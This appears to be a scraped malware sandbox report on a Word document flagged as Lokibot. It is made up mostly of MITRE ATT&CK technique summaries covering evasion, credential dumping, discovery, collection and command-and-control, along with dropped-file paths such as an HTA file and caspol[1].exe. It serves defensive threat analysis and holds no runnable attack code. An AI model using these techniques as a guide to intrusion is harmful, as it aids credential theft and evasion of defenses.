Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report stthigns.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Lokibot

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Exploits

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\goodtoseeuthatgreatthingswithentirethingsgreatfor[1].hta

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{8F9E19BA-7C14-4A61-89D3-CF9016D92B91}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{58CAB548-6A4A-4B2C-A9AB-CA9B4D0E64E5}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{9F4C8620-6ACA-4E78-B7C6-E0150A7B3E99}.tmp

C:\Users\user\AppData\Local\Temp\2foo5dbr.x1a.ps1

Windows Analysis Report
stthigns.doc

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.
Tactics:	Collection
Data Sources:	Logon Session: Logon Session Creation, Process: Process Access, Process: Process Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre